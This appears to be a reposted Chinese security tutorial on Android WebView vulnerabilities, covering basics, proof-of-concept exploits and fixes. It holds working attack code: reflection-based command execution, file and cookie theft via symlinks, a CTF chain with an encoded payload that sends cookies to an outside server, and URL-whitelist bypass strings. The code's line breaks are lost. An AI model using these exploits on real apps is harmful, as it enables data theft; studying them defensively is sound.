厉害了,Android WebView 漏洞之战!
大家好,我是皇叔,最近开了一个安卓进阶涨薪训练营,可以帮助大家突破技术&职场瓶颈,从而度过难关,进入心仪的公司。
详情见文章:没错!皇叔开了个训练营
本文来自于:看雪论坛精华文章
看雪论坛作者ID:随风而行aa
一
前言
今天我们进入Android APP漏洞之战系列文章中的一个重要篇幅——WebView漏洞,我们都知道在当下App漏洞中,WebView漏洞的占比是十分巨大的,各种类型的漏洞问题层出不穷,这篇文章就带着大家一起揭开WebView漏洞神奇的面纱。
二
基础知识
(1)WebView概述
(2)WebView作用
显示和渲染Web页面
直接使用html文件(网络上或本地assets中)作布局
可和JavaScript交互调用
(3)WebView基础使用
<1>本地加载
1.在布局文件中添加WebView控件;
2.在代码中让WebView控件加载显示网页。
<WebViewandroid:id="@+id/Wind_webview"android:layout_width="match_parent"android:layout_height="match_parent" />

//获得控件WebView webView = (WebView) findViewById(R.id.Wind_webview);//访问网页webView.loadUrl("http://www.baidu.com");//系统默认会通过手机浏览器打开网页,为了能够直接通过WebView显示网页,则必须设置webView.setWebViewClient(new WebViewClient(){@Overridepublic boolean shouldOverrideUrlLoading(WebView view, String url) {//使用WebView加载显示urlview.loadUrl(url);//返回truereturn true;}});

<!-- 添加网络权限 --><uses-permission android:name="android.permission.INTERNET" />


<2>远程加载
<!DOCTYPE html><html><head><meta charset="utf-8"><title>Carson</title><script>function callAndroid(){//由于对象映射,所以调用test对象等于调用Android映射的对象test.hello("WindXaa!");}</script></head><body><!--点击按钮则调用callAndroid函数--><button type="button" id="button1" onclick="callAndroid()">Internet Click connect</button></body></html>


{WebView mWebView = (WebView) findViewById(R.id.Wind_webview1);WebSettings webSettings = mWebView.getSettings();// 设置与Js交互的权限webSettings.setJavaScriptEnabled(true);// 通过addJavascriptInterface()将Java对象映射到JS对象//参数1:Javascript对象名//参数2:Java对象名mWebView.addJavascriptInterface(new AndroidtoJs(), "test");//AndroidtoJS类对象映射到js的test对象mWebView.loadData("","text/html",null);// 加载JS代码// 格式规定为:file:///android_asset/文件名.html// mWebView.loadUrl("file:///android_asset/javascript.html");mWebView.loadUrl("http://ip地址填自己的/attack.html");}/*** 提供接口在Webview中供JS调用*/public class AndroidtoJs {// 定义JS需要调用的方法,被JS调用的方法必须加入@JavascriptInterface注解@JavascriptInterfacepublic void hello(String msg) {Log.e("WindXaa","Hello," + msg);}}


2.WebView使用详解
1)WebView常用方法
WebView的状态:webView.onResume();
// 激活WebView为活跃状态,能正常执行网页的响应webView.onPause();
// 当页面被失去焦点被切换到后台不可见状态,需要执行onPause// 通过onPause动作通知内核暂停所有的动作,比如DOM的解析、plugin的执行、JavaScript执行。
webView.pauseTimers()
// 当应用程序(存在webview)被切换到后台时,这个方法不仅仅针对当前的webview而是全局的全应用程序的webview// 它会暂停所有webview的layout,parsing,javascripttimer。降低CPU功耗。
// 恢复pauseTimers状态rootLayout.removeView(webView)
webView.destory()
// webview调用destory时,webview仍绑定在Activity上// 需要先从父容器中移除webview,然后再销毁webview
//是否可以后退Webview.canGoBack()//后退网页Webview.goBack()//是否可以前进Webview.canGoForward()//前进网页Webview.goForward()//以当前的index为起始点前进或者后退到历史记录中指定的steps//如果steps为负数则为后退,正数则为前进Webview.goBackOrForward(intsteps)
public boolean onKeyDown(int keyCode, KeyEvent event) {if ((keyCode == KEYCODE_BACK) && mWebView.canGoBack()) {mWebView.goBack();return true;}return super.onKeyDown(keyCode, event);}
//清除网页访问留下的缓存//由于内核缓存是全局的因此这个方法不仅仅针对webview而是针对整个应用程序.Webview.clearCache(true);//清除当前webview访问的历史记录//只会webview访问历史记录里的所有记录除了当前访问记录Webview.clearHistory();//这个api仅仅清除自动完成填充的表单数据,并不会清除WebView存储到本地的数据Webview.clearFormData();
(2)常用类
<1>WebSettings类
<uses-permission android:name="android.permission.INTERNET"/>//方式1:直接在在Activity中生成WebView webView = new WebView(this)//方法2:在Activity的layout文件里添加webview控件:WebView webview = (WebView) findViewById(R.id.webView1);
//声明WebSettings子类WebSettings webSettings = webView.getSettings();//如果访问的页面中要与Javascript交互,则webview必须设置支持JavascriptwebSettings.setJavaScriptEnabled(true);//支持插件webSettings.setPluginsEnabled(true);//设置自适应屏幕,两者合用webSettings.setUseWideViewPort(true); //将图片调整到适合webview的大小webSettings.setLoadWithOverviewMode(true); // 缩放至屏幕的大小//缩放操作webSettings.setSupportZoom(true); //支持缩放,默认为true。是下面那个的前提。webSettings.setBuiltInZoomControls(true); //设置内置的缩放控件。若为false,则该WebView不可缩放webSettings.setDisplayZoomControls(false); //隐藏原生的缩放控件//其他细节操作webSettings.setCacheMode(WebSettings.LOAD_CACHE_ELSE_NETWORK); //关闭webview中缓存webSettings.setAllowFileAccess(true); //设置可以访问文件webSettings.setJavaScriptCanOpenWindowsAutomatically(true); //支持通过JS打开新窗口webSettings.setLoadsImagesAutomatically(true); //支持自动加载图片webSettings.setDefaultTextEncodingName("utf-8");//设置编码格式
当加载 html 页面时,WebView会在/data/data/包名目录下生成 database 与 cache 两个文件夹
请求的 URL记录保存在 WebViewCache.db,而 URL的内容是保存在 WebViewCache 文件夹下
是否启用缓存:
//优先使用缓存WebView.getSettings().setCacheMode(WebSettings.LOAD_CACHE_ELSE_NETWORK);//缓存模式如下://LOAD_CACHE_ONLY: 不使用网络,只读取本地缓存数据//LOAD_DEFAULT: (默认)根据cache-control决定是否从网络上取数据。//LOAD_NO_CACHE: 不使用缓存,只从网络获取数据.//LOAD_CACHE_ELSE_NETWORK,只要本地有,无论是否过期,或者no-cache,都使用缓存中的数据//不使用缓存WebView.getSettings().setCacheMode(WebSettings.LOAD_NO_CACHE);
<2>WebViewClient类
//Webview控件Webview webview = (WebView) findViewById(R.id.webView);//加载一个网页webView.loadUrl("http://www.google.com/");//重写shouldOverrideUrlLoading()方法,使得打开网页时不调用系统浏览器, 而是在本WebView中显示webView.setWebViewClient(new WebViewClient(){@Overridepublic boolean shouldOverrideUrlLoading(WebView view, String url) {view.loadUrl(url);return true;}});
webView.setWebViewClient(new WebViewClient(){@Overridepublic void onPageStarted(WebView view, String url, Bitmap favicon) {//设定加载开始的操作}});
webView.setWebViewClient(new WebViewClient(){@Overridepublic boolean onLoadResource(WebView view, String url) {//设定加载资源的操作}});
//步骤1:写一个html文件(error_handle.html),用于出错时展示给用户看的提示页面//步骤2:将该html文件放置到代码根目录的assets文件夹下//步骤3:复写WebViewClient的onRecievedError方法//该方法传回了错误码,根据错误类型可以进行不同的错误分类处理webView.setWebViewClient(new WebViewClient(){@Overridepublic void onReceivedError(WebView view, int errorCode, String description, String failingUrl){switch(errorCode){case HttpStatus.SC_NOT_FOUND:view.loadUrl("file:///android_assets/error_handle.html");break;}}});
webView.setWebViewClient(new WebViewClient() {@Overridepublic void onReceivedSslError(WebView view, SslErrorHandler handler, SslError error) {handler.proceed(); //表示等待证书响应// handler.cancel(); //表示挂起连接,为默认方式// handler.handleMessage(null); //可做其他处理}});
webview.setWebChromeClient(new WebChromeClient(){@Overridepublic void onProgressChanged(WebView view, int newProgress) {if (newProgress < 100) {String progress = newProgress + "%";progress.setText(progress);} else {}});
webview.setWebChromeClient(new WebChromeClient(){@Overridepublic void onReceivedTitle(WebView view, String title) {titleview.setText(title);}
(3)WebView与JS的交互

<1>Android调用JS
<html><head><meta charset="utf-8"><title>测试</title><script>function callJS(){alert("Android调用了JS的callJS方法");}</script></head><body><h1>Android调用JS方法测试</h1></body></html>

// 设置与Js交互的权限webSettings.setJavaScriptEnabled(true);// 设置允许JS弹窗webSettings.setJavaScriptCanOpenWindowsAutomatically(true);// 先载入JS代码// 格式规定为:file:///android_asset/文件名.htmlmWebView.loadUrl("file:///android_asset/AndroJs.html");Button button = (Button) findViewById(R.id.button);button.setOnClickListener(new View.OnClickListener() {@Overridepublic void onClick(View v) {// 通过Handler发送消息mWebView.post(new Runnable() {@Overridepublic void run() {// 注意调用的JS方法名要对应上// 调用javascript的callJS()方法mWebView.loadUrl("javascript:callJS()");}});}});// 由于设置了弹窗检验调用结果,所以需要支持js对话框// webview只是载体,内容的渲染需要使用webviewChromClient类去实现// 通过设置WebChromeClient对象处理JavaScript的对话框//设置响应js 的Alert()函数mWebView.setWebChromeClient(new WebChromeClient() {@Overridepublic boolean onJsAlert(WebView view, String url, String message, final JsResult result) {AlertDialog.Builder b = new AlertDialog.Builder(MainActivity.this);b.setTitle("Alert");b.setMessage(message);b.setPositiveButton(android.R.string.ok, new DialogInterface.OnClickListener() {@Overridepublic void onClick(DialogInterface dialog, int which) {result.confirm();}});b.setCancelable(false);b.create().show();return true;}});


onPageFinished()属于WebViewClient类的方法,主要在页面加载结束时调用因为该方法的执行不会使页面刷新,而第一种方法(loadUrl )的执行则会。Android 4.4 后才可使用
//使用evaluateJavascript来加载mWebView.evaluateJavascript("javascript:callJS()", new ValueCallback<String>() {@Overridepublic void onReceiveValue(String value) {//此处为 js 返回的结果}});


<2>JS调用Android
//JS调用Android<html><head><meta charset="utf-8"><title>Carson</title><script>function callAndroid(){//由于对象映射,所以调用test对象等于调用Android映射的对象test.hello("WindXaa js调用了android中的hello方法");}</script></head><body><!--点击按钮则调用callAndroid函数--><button type="button" id="button1" onclick="callAndroid()">Click Attack</button></body></html>

public class JsToAndroActivity extends AppCompatActivity {@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.activity_js_to_andro);WebView mWebView = (WebView) findViewById(R.id.Wind_webview1);WebSettings webSettings = mWebView.getSettings();// 设置与Js交互的权限webSettings.setJavaScriptEnabled(true);// 通过addJavascriptInterface()将Java对象映射到JS对象//参数1:Javascript对象名//参数2:Java对象名mWebView.addJavascriptInterface(new AndroidtoJs(), "test");//AndroidtoJS类对象映射到js的test对象// 加载JS代码// 格式规定为:file:///android_asset/文件名.htmlmWebView.loadUrl("file:///android_asset/javascript.html");}/*** 提供接口在Webview中供JS调用*/public class AndroidtoJs {// 定义JS需要调用的方法,被JS调用的方法必须加入@JavascriptInterface注解@JavascriptInterfacepublic void hello(String msg) {Log.e("WindXaa","Hello," + msg);}}}



(1)Android通过 WebViewClient 的回调方法shouldOverrideUrlLoading ()拦截 url(2)解析该 url 的协议(3)如果检测到是预先约定好的协议,就调用相应方法
<html><head><meta charset="utf-8"><title>Carson_Ho</title><script>function callAndroid(){/*约定的url协议为:js://webview?arg1=WindXaa&arg2=attack*/document.location = "js://webview?arg1=WindXaa&arg2=attack";}</script></head><!-- 点击按钮则调用callAndroid()方法 --><body><button type="button" id="button1" onclick="callAndroid()">点击调用Android代码</button></body></html>
WebView mWebView = (WebView) findViewById(R.id.Wind_webview2);WebSettings webSettings = mWebView.getSettings();// 设置与Js交互的权限webSettings.setJavaScriptEnabled(true);// 设置允许JS弹窗webSettings.setJavaScriptCanOpenWindowsAutomatically(true);// 步骤1:加载JS代码// 格式规定为:file:///android_asset/文件名.htmlmWebView.loadUrl("file:///android_asset/javascript1.html");// 复写WebViewClient类的shouldOverrideUrlLoading方法mWebView.setWebViewClient(new WebViewClient() {@Overridepublic boolean shouldOverrideUrlLoading(WebView view, String url) {// 步骤2:根据协议的参数,判断是否是所需要的url// 一般根据scheme(协议格式) & authority(协议名)判断(前两个参数)//约定的url协议为:js://webview?arg1=WindXaa&arg2=attack(同时也是约定好的需要拦截的)Uri uri = Uri.parse(url);// 如果url的协议 = 预先约定的 js 协议// 就解析往下解析参数if ( uri.getScheme().equals("js")) {// 如果 authority = 预先约定协议里的 webview,即代表都符合约定的协议// 所以拦截url,下面JS开始调用Android需要的方法if (uri.getAuthority().equals("webview")) {// 步骤3:// 执行JS所需要调用的逻辑System.out.println("js调用了Android的方法");// 可以在协议上带有参数并传递到Android上HashMap<String, String> params = new HashMap<>();Set<String> collection = uri.getQueryParameterNames();Log.e("WindXaa",params.get(0)+"---"+params.get(1));}return true;}return super.shouldOverrideUrlLoading(view, url);}});

 <html><head><meta charset="utf-8"><title>Carson_Ho</title><script>function clickprompt(){// 调用prompt()var result=prompt("js://webview?arg1=WindXaa&arg2=attack");alert("demo " + result);}</script></head><!-- 点击按钮则调用clickprompt() --><body><button type="button" id="button1" onclick="clickprompt()">点击调用Android代码</button></body></html>
WebView mWebView = (WebView) findViewById(R.id.Wind_webview3);WebSettings webSettings = mWebView.getSettings();// 设置与Js交互的权限webSettings.setJavaScriptEnabled(true);// 设置允许JS弹窗webSettings.setJavaScriptCanOpenWindowsAutomatically(true);// 先加载JS代码// 格式规定为:file:///android_asset/文件名.htmlmWebView.loadUrl("file:///android_asset/javascript2.html");mWebView.setWebChromeClient(new WebChromeClient() {// 拦截输入框(原理同方式2)// 参数message:代表promt()的内容(不是url)// 参数result:代表输入框的返回值@Overridepublic boolean onJsPrompt(WebView view, String url, String message, String defaultValue, JsPromptResult result) {// 根据协议的参数,判断是否是所需要的url(原理同方式2)// 一般根据scheme(协议格式) & authority(协议名)判断(前两个参数)Uri uri = Uri.parse(message);// 如果url的协议 = 预先约定的 js 协议// 就解析往下解析参数if (uri.getScheme().equals("js")) {//js://webview?arg1=WindXaa&arg2=attack// 如果 authority = 预先约定协议里的 webview,即代表都符合约定的协议// 所以拦截url,下面JS开始调用Android需要的方法if (uri.getAuthority().equals("webview")) {// 执行JS所需要调用的逻辑System.out.println("js调用了Android的方法");// 可以在协议上带有参数并传递到Android上HashMap<String, String> params = new HashMap<>();Set<String> collection = uri.getQueryParameterNames();//参数result:代表消息框的返回值(输入值)result.confirm("js调用了Android的方法成功啦");}return true;}return super.onJsPrompt(view, url, message, defaultValue, result);}});




// 拦截JS的警告框@Overridepublic boolean onJsAlert(WebView view, String url, String message, JsResult result) {return super.onJsAlert(view, url, message, result);}// 拦截JS的确认框@Overridepublic boolean onJsConfirm(WebView view, String url, String message, JsResult result) {return super.onJsConfirm(view, url, message, result);}
三
WebView的漏洞面

1.WebView的漏洞面

2.WebView漏洞发展总结

四二
WebView的漏洞原理和复现
1.历史漏洞
(1)WebView任意代码执行漏洞
<1> addJavascriptInterface 接口引起远程代码执行漏洞
webView.addJavascriptInterface(new JSObject(), "myObj");// 参数1:Android的本地对象// 参数2:JS的对象// 通过对象映射将Android中的本地对象和JS中的对象进行关联,从而实现JS调用Android的对象和方法
(1)Android中的对象有一公共的方法:getClass()(2)该方法可以获取到当前类 类型Class(3)该类有一关键的方法:Class.forName;(4)该方法可以加载一个类(可加载 java.lang.Runtime 类)(5)而该类是可以执行本地命令的
function execute(cmdArgs){// 步骤1:遍历 window 对象// 目的是为了找到包含 getClass ()的对象// 因为Android映射的JS对象也在window中,所以肯定会遍历到for (var obj in window) {if ("getClass" in window[obj]) {// 步骤2:利用反射调用forName()得到Runtime类对象alert(obj);return window[obj].getClass().forName("java.lang.Runtime")// 步骤3:以后,就可以调用静态方法来执行一些命令,比如访问文件的命令getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);// 从执行命令后返回的输入流中得到字符串,有很严重暴露隐私的危险。// 如执行完访问文件的命令之后,就可以得到文件名的信息了。}}}


<2>searchBoxJavaBridge_接口引起远程代码执行漏洞
// 通过调用该方法删除接口removeJavascriptInterface();
(2)WebView明文存储漏洞
mWebView.setSavePassword(true)`
2.跨域漏洞

(1)任意文件窃取1(应用克隆漏洞)

<script>function loadXMLDoc(){var arm = "file:///etc/hosts";var xmlhttp;if (window.XMLHttpRequest){xmlhttp=new XMLHttpRequest();}xmlhttp.onreadystatechange=function(){//alert("status is"+xmlhttp.status);if (xmlhttp.readyState==4){console.log(xmlhttp.responseText);}}xmlhttp.open("GET",arm);xmlhttp.send(null);}loadXMLDoc();</script>

@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.activity_file_web_view);WebView webView = findViewById(R.id.Wind_webview0);//设置是否允许 WebView 使用 File 协议webView.getSettings().setAllowFileAccess(true);//设置是否允许 WebView 使用 JavaScriptwebView.getSettings().setJavaScriptEnabled(true);webView.loadUrl("file:///data/local/tmp/fileAttack.html");}



(2)通用协议漏洞 (恶意页面注入)
<script>function loadXMLDoc(){var arm = "https://bbs.pediy.com/";var xmlhttp;if (window.XMLHttpRequest){xmlhttp=new XMLHttpRequest();}xmlhttp.onreadystatechange=function(){//alert("status is"+xmlhttp.status);if (xmlhttp.readyState==4){console.log(xmlhttp.responseText);}}xmlhttp.open("GET",arm);xmlhttp.send(null);}loadXMLDoc();</script>

检查应用是否使用了 webview 控件;
避免 App 内部的 WebView 被不信任的第三方调用,排查内置 WebView 的 Activity 是否被导出、必须导出的 Activity 是否会通过参数传递调起内置的WebView等;
file 域访问为非功能需求时,手动配置 setAllowFileAccessFromFileURLs 或 setAllowUniversalAccessFromFileURLs 两个 API 为 false(Android 4.1 版本之前这两个 API 默认是 true,需要显式设置为 false);
固定不变的 HTML 文件可以放在 assets 或 res 目录下,file:///android_asset 和 file:///android_res 在不开启 API 的情况下也可以访问;
可能会更新的 HTML 文件放在 /data/data/(app) 目录下,避免被第三方替换或修改;
对 file 域请求做白名单限制时,需要对“…/…/”特殊情况进行处理,避免白名单被绕过。
(3)符号链接跨源攻击

(在该命令执行前 xx.html 是不存在的;执行完这条命令之后,就生成了这个文件,并且将 Cookie 文件链接到了 xx.html 上。)1. 把恶意的 js 代码输出到攻击应用的目录下,随机命名为 xx.html,修改该目录的权限;\2. 修改后休眠 1s,让文件操作完成;\3. 完成后通过系统的 Chrome 应用去打开该 xx.html 文件\4. 等待 4s 让 Chrome 加载完成该 html,最后将该 html 删除,并且使用 ln -s 命令为 Chrome 的 Cookie 文件创建软连接,\于是就可通过链接来访问 Chrome 的 Cookie
#恶意APP的HTML,被检测APP加载此html,执行JS代码<html><body></body><script>var d = document;function loadDatabase(){var file_url = d.URL;var xmlhttp =new XMLHttpRequest();xmlhttp.onload=function() {document.body.appendChild(d.createTextNode(xmlhttp.responseText))alert(xmlhttp.responseText);}xmlhttp.open("GET",file_url);xmlhttp.send(null);}setTimeout(loadDatabase(),8000); #延迟8秒执行。利用时间差和软链接来获取被攻击APP的私有文件</script></html>
#恶意APP的攻击代码try {String HTML = "恶意APP的HTML,在上面的HTML代码";#新建文件夹,用于存放恶意HTML文件cmdexec("mkdir /data/data/mm.xxxxx.testdemo3/files");#将恶意HTML到恶意APP的沙盒目录cmdexec("echo \"" + HTML + "\" > /data/data/mm.xxxxx.testdemo3/files/attack.html");#授权目录及其文件权限,允许其它应用访问cmdexec("chmod -R 777 /data/data/mm.xxxxx.testdemo3/files");Thread.sleep(1000);#启动被攻击的APP,并携带恶意HTMLinvokeVulnAPP("file://" + HTML_PATH);#延时6秒Thread.sleep(6000);#删除HTML文件cmdexec("rm " + HTML_PATH);#软链接文件,实现读取被攻击应用的private.txt文件cmdexec("ln -s " + "/data/data/mm.xxxxx.testdemo3/files/private.txt" + " " + HTML_PATH);} catch (Exception e) {// TODO: handle exception}
#被攻击的APP,有漏洞的代码WebView webView = findViewById(R.id.webview);webView.getSettings().setJavaScriptEnabled(true);webView.getSettings().setAllowFileAccess(true); 允许加载File域Intent i = getIntent();if (i != null) {mUri = i.getData(); #取出了恶意HTML}if (mUri != null) {url = mUri.toString();}if (url != null) {webView.loadUrl(url); #加载了恶意HTML}

1、设置setAllowFileAccess方法为false,设置setAllowFileAccessFromFileURLs和setAllowUniversalAccessFromFileURLs为false。2、在Android4.0(API15)及以下得采用其他方法进行手动校验是否访问file域3、当WebView所在Activity存在组件暴露时,若不是必要的组件暴露,应该禁止组件暴露
(4)污染Cooike漏洞


<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><title>evil</title></head><body><h1>injected cookie with xss</h1><script>document.cookie = "sendData = '<img src=\"evil\" onerror=\"eval(atob('dmFyIGJhc2VVcmwgPSAiaHR0cDovLzEwLjcuODkuMTA4L015VGVzdC9SZWNlaXZlU2VydmxldD8iCm5ldyBJbWFnZSgpLnNyYyA9IGJhc2VVcmwgKyAiY29va2llPSIgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImh0bWwiKVswXS5pbm5lckhUTUwpOw=='))\">'"var baseUrl = "http://****/MyTest/ReceiveServlet?"new Image().src = baseUrl + "cookie=" + encodeURIComponent("open evil page.");setTimeout(function() {location.href = 'intent:#Intent;component=com.bytectf.easydroid/.TestActivity;S.url=file%3A%2Fdata%2Fuser%2F0%2Fcom.bytectf.pwneasydroid%2Fsymlink.html;end';}, 40000);</script></body></html>
protected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.activity_main);symlink();Intent intent \= new Intent();intent.setClassName("com.bytectf.easydroid","com.bytectf.easydroid.MainActivity");intent.setData(Uri.parse("http://toutiao.com@****/easydroid.html"));startActivity(intent);}private String symlink() {try {String root \= getApplicationInfo().dataDir;String symlink \= root + "/symlink.html";String cookies \= getPackageManager().getApplicationInfo("com.bytectf.easydroid", 0).dataDir + "/app_webview/Cookies";Runtime.getRuntime().exec("rm " + symlink).waitFor();Runtime.getRuntime().exec("ln -s " + cookies + " " + symlink).waitFor();Runtime.getRuntime().exec("chmod -R 777 " + root).waitFor();return symlink;} catch (Throwable th) {throw new RuntimeException(th);}}

3.URL配置漏洞
scheme://login:password@address:port/path/to/resource/?query_string#fragment
scheme
不区分大小写,包括http、https、file、ftp等等,:之后的“//”可省略,例如http:www.qq.com, 此外,多数浏览器在scheme之前加空格也是可以正常解析的login:password@(认证信息)
服务器有时候需要用户名和密码认证,ftp协议比较常见,http很少见,但这个不常见字段往往可以绕过很多检查address
address字段可以是一个不区分大小写的域名、一个ipv4地址或带方括号的ipv6地址,部分浏览器接收ip地址的八进制、十进制、十六进制等写法port
端口号/path/to/resource
层级路径,可以使用“../”到上一级目录query_string
查询字符串,格式为”query_string?name1=value1&name2=value2”fragment
用于html中的页面定位
(1)URL绕过漏洞
<1>通用的URL绕过
if(checkDomain(url)){enableJavaScriptInterface();//或者webview.load(url)}
if(url.startsWith("file://")){setJavaScriptEnbled(false);}else{setJavaScriptEnbled(true);}
(1) 大写字母 “File://”(2) 前面加上空格:“ file://”(3) 字符编码:“file:%2F/”(4) 可正常访问的畸形路径:“file:sdcard/attack/html” 或 “file:/\//sdcard/attack.html”
<2> 常见的url校验
if(host.endsWith("mysite.com")){enableJavascriptInterface();}
绕过:evilmysite.com修复:endsWith(".mysite.com")
if(host.startsWith("mysite.com")){enableJavascriptInterface();}
  绕过:mysite.com@oppo.com任何可以添加字符串的字段子域名 huawei.com.mysite.com子路径 mysite.com/huawei.com参数 mysite.com/xxxx#huawei.com
private static boolean checkDomain(String inputUrl){String[] whiteList=new String[]{"huawei.com","hicloud.com"};String tempStr=inputUrl.replace("://","");String inputDomain=tempStr.substring(0,tempStr.indexOf("/")); //提取hostfor (String whiteDomain:whiteList){if (inputDomain.indexOf(whiteDomain)>0)return true;}return false;}
子域名 huawei.com.mysite.comhttp://huawei.com@www.rebeyond.net/poc.htmhttp://a:a@www.huawei.com:b@www.baidu.com 在android中使用getHost获取到的是huawei.com,但实际访问的是baidu.com


"insecureshop://com.insecureshop/web?url=https://www.baidu.com""insecureshop://com.insecureshop/webview?url=http://www.baidu.com?-insecureshopapp.com"
adb shell am start -W -a android.intent.action.VIEW -d URI的值
(2)hearachical Uri绕过
Uri uri = getIntent().getData();boolean isValidUrl = "https".equals(uri.getScheme()) && uri.getUserInfo() == null && "legitimate.com".equals(uri.getHost());if (isValidUrl) {webView.loadUrl(uri.toString(), getAuthHeaders());}
public class MainActivity extends Activity {protected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);Uri uri;try {//java反射获取类引用Class partClass = Class.forName("android.net.Uri$Part");Constructor partConstructor = partClass.getDeclaredConstructors()[0];partConstructor.setAccessible(true);Class pathPartClass = Class.forName("android.net.Uri$PathPart");Constructor pathPartConstructor = pathPartClass.getDeclaredConstructors()[0];pathPartConstructor.setAccessible(true);Class hierarchicalUriClass = Class.forName("android.net.Uri$HierarchicalUri");Constructor hierarchicalUriConstructor = hierarchicalUriClass.getDeclaredConstructors()[0];hierarchicalUriConstructor.setAccessible(true);//构造HierachicalUri实例Object authority = partConstructor.newInstance("legitimate.com", "legitimate.com");Object path = pathPartConstructor.newInstance("@attacker.com", "@attacker.com");uri = (Uri) hierarchicalUriConstructor.newInstance("https", authority, path, null, null);}catch (Exception e) {throw new RuntimeException(e);}Intent intent = new Intent();intent.setData(uri);intent.setClass(this, TestActivity.class);startActivity(intent);}}
public class TestActivity extends Activity {protected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);Intent intent = getIntent();Uri uri = intent.getData();Log.d("evil", "Scheme: " + uri.getScheme());Log.d("evil", "UserInfo: " + uri.getUserInfo());Log.d("evil", "Host: " + uri.getHost());Log.d("evil", "toString(): " + uri.toString());}}

  Uri uri = Uri.parse(intent.getData().toString());(3)URL Scheme绕过
也可以通过file://www.mysite.com/sdcard/evil.html绕过,某些版本WebView可正常解析为file:///sdcard/evil.html



1.//解析Intent Scheme URL2. Intent intent = Intent.parseUri(uri, flags);3.//禁止打开没有BROWSABLE标签的Activity4. intent.addCategory ( "android.intent.category.BROWSABLE" );5.//禁止设置intent的组件6. intent.setComponent( nu1l);7.//禁止设置intent的selector8. intent.setSelector(nul1);9.//打开intent指向的activity10.context.startActivityIfNeeded(intent,-1);
(4)服务端跳转漏洞绕过
<script>alert(window.myObj.getToken());</script>

public class URLWebView extends AppCompatActivity {class JsObject {@JavascriptInterfacepublic String getToken() {Log.e("rebeyond","i am in getToken");return "{\"token\":\"1234567890abcdefg\"}";}}@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.activity_url_web_view);WebView webView = (WebView) findViewById(R.id.Wind_webview4);webView.getSettings().setJavaScriptEnabled(true);webView.setWebViewClient(new WebViewClient());webView.setWebChromeClient(new WebChromeClient());webView.addJavascriptInterface(new JsObject(),"myObj");String inputUrl="https://www.site1.com/redirect.php?url=http://223.****:8080/poc.htm"; //ip地址自己写自己的try {if (checkDomain(inputUrl)){Log.e("rebeyond","i am a white domain");//webView.loadUrl(inputUrl);}} catch (URISyntaxException e) {e.printStackTrace();}}private static boolean checkDomain(String inputUrl) throws URISyntaxException {if (!inputUrl.startsWith("http://")&&!inputUrl.startsWith("https://")){return false;}String[] whiteList=new String[]{"site1.com","site2.com"};java.net.URI url=new java.net.URI(inputUrl);String inputDomain=url.getHost(); //提取hostfor (String whiteDomain:whiteList){if (inputDomain.endsWith("."+whiteDomain)) //www.site1.com app.site2.comreturn true;}return false;}}



public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {if(chechDomain(request.getUrl().toString())){return false; //通过检查,允许跳转}return true; //未通过检查,允许跳转}
(5)file协议绕过
(1)不要用url.startWith(”file://”)来判断是否为file协议,因为“FILE://”(大小)、“File://”(大小写)、“ file://”(前边加空格)、“file:”等方式都可以绕过检测。url.contains(“file://”)更不靠谱,推荐使用getScheme()来判断协议;(2)file:///android_asset和file:///android_res 也可以../穿越(3)白名单判断了“../,但通过“..\”也是可以穿越的,例如file:///sdcard/..\../sdcard/1.html(4)getHost有漏洞(file://a:a@www.qq.com:b@www.baidu.com使用getHost获取到的是qq.com,但实际访问的是baidu.com)(5)file://baidu.com/data/data/tmp 前边的baidu.com是可以不被解析的(6)协议头不包括///,还是仍然能够正常loadUrl,如file:mnt/sdcard/filedomain.html(7)白名单判断了“../”,但通过url编码绕过,例如file:///data/data/com.app/%2e%2e/%2e%2e/%2e%2e/sdcard/xxx(8)replace(“../“,””)可以使用”….//“绕过
4.Intent+WebView漏洞
(1)Intent访问导出组件加载恶意界面和窃取信息
public class JsIntentActivity extends AppCompatActivity {@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.activity_js_intent);WebView webView = findViewById(R.id.Wind_webviewIntent);webView.getSettings().setJavaScriptEnabled(true);webView.addJavascriptInterface(new AndroidtoJs(), "test");webView.loadData("", "text/html", null);Uri getUri = getIntent().getData();webView.loadUrl(String.valueOf(getUri));}/*** 提供接口在Webview中供JS调用*/public class AndroidtoJs {// 定义JS需要调用的方法,被JS调用的方法必须加入@JavascriptInterface注解@JavascriptInterfacepublic String getPassword() {return "WindXaa12345678";}}}

public class MainActivity extends AppCompatActivity {@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.activity_main);Button button = findViewById(R.id.button);button.setOnClickListener(new View.OnClickListener() {@Overridepublic void onClick(View v) {Intent attackIntent = new Intent();attackIntent.setClassName("com.iwindxaa.webview","com.iwindxaa.webview.JsIntentActivity");attackIntent.setData(Uri.parse("http://ip地址端口号/attack.html"));startActivity(attackIntent);}});}}
<!DOCTYPE html><html><head><meta charset="utf-8"><title>WebView Atack</title><script>function callAndroid(){//由于对象映射,所以调用test对象等于调用Android映射的对象var password = test.getPassword();document.getElementById("getdata").innerHTML= password;}</script></head><body><p id="getdata">攻击获得的数据将显示在此……</p><!--点击按钮则调用callAndroid函数--><button type="button" id="button1" onclick="callAndroid()">CIntent Attack!</button></body></html>




(2)Intent重定向导致launchAnyWhere漏洞
1.在AndroidManifest.xml中的组件如果显式设置了组件属性android:exported值为true;2.如果组件没有显式设置android:exported为false,但是其intent-filter以及action存在,则也为导出组件3.API Level在17以下的所有App的provider组件的android:exported属性默认值为true,17及以上默认值为false。
组件显式设置android:exported="false"组件没有intent-filter, 且没有显式设置android:exported的属性值,默认为非导出的;组件虽然配置了intent-filter,,但是显式设置android:exported="false"






5.Deeplink+WebView漏洞
(1)任意代码执行漏洞









(3)DeepLinks在WebView上的组合漏洞


(4)loadDataWithBaseURL漏洞
void loadDataWithBaseURL(String baseUrl,String data,String mimeType,String encoding,String historyUrl)
